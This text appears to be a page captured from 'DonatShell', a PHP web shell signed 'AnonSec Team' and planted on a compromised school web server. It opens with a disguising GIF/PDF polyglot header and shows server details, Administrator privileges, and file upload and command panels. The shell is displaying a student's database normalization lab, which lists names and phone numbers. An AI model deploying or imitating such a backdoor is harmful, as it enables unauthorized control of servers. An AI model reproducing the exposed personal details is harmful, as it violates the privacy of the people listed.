GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/15812201/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/15812201/Lab07/CST1600_BlakeHanson_Lab07.txt
UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)

1NF:
students:
*studentID   Name              HomePhoneNumber    MobilePhoneNumber  
34673656     Avram Hinton      103-391-7811       676-683-6301
83681840     Hayes Gibson      447-149-5334       NULL
94086534     Kristen Acosta    NULL                972-658-1570

student_majors:
*studentID   MajorCode  
34673656     NSA          
34673656     CSS          
34673656     CST          
83681840     CST          
94086534     CP           
94086534     MAD         

1NF Notes:
The PhoneNumbers Table: Split the HomeMobilePhoneNumbers into HomePhone and MobilePhone columns.
The Majors Table: We normalized the multiple MajorCode columns by creating a new table that has one row per major for each student.

2NF:
students:
*studentID   Name              HomePhoneNumber    MobilePhoneNumber  
34673656     Avram Hinton      103-391-7811       676-683-6301
83681840     Hayes Gibson      447-149-5334       NULL
94086534     Kristen Acosta    NULL                972-658-1570

student_majors:
*studentID   MajorCode  
34673656     NSA          
34673656     CSS          
34673656     CST          
83681840     CST          
94086534     CP           
94086534     MAD         

2NF Notes:
All tables are in 2NF, as there are no partial dependencies.


3NF:
students:
*studentID   Name              HomePhoneNumber    MobilePhoneNumber  
34673656     Avram Hinton      103-391-7811       676-683-6301
83681840     Hayes Gibson      447-149-5334       NULL
94086534     Kristen Acosta    NULL                972-658-1570

student_majors:
*studentID   MajorCode  
34673656     NSA          
34673656     CSS          
34673656     CST          
83681840     CST          
94086534     CP           
94086534     MAD         

3NF Notes:
All tables pass 3NF as there are no transitive dependencies.

Three data rows:
students:
*studentID   Name              HomePhoneNumber    MobilePhoneNumber  
34673656     Avram Hinton      103-391-7811       676-683-6301
83681840     Hayes Gibson      447-149-5334       NULL
94086534     Kristen Acosta    NULL                972-658-1570

student_majors:
*studentID   MajorCode  
34673656     NSA          
34673656     CSS          
34673656     CST          
83681840     CST          
94086534     CP           
94086534     MAD

Anon7 - 2022
AnonSec Team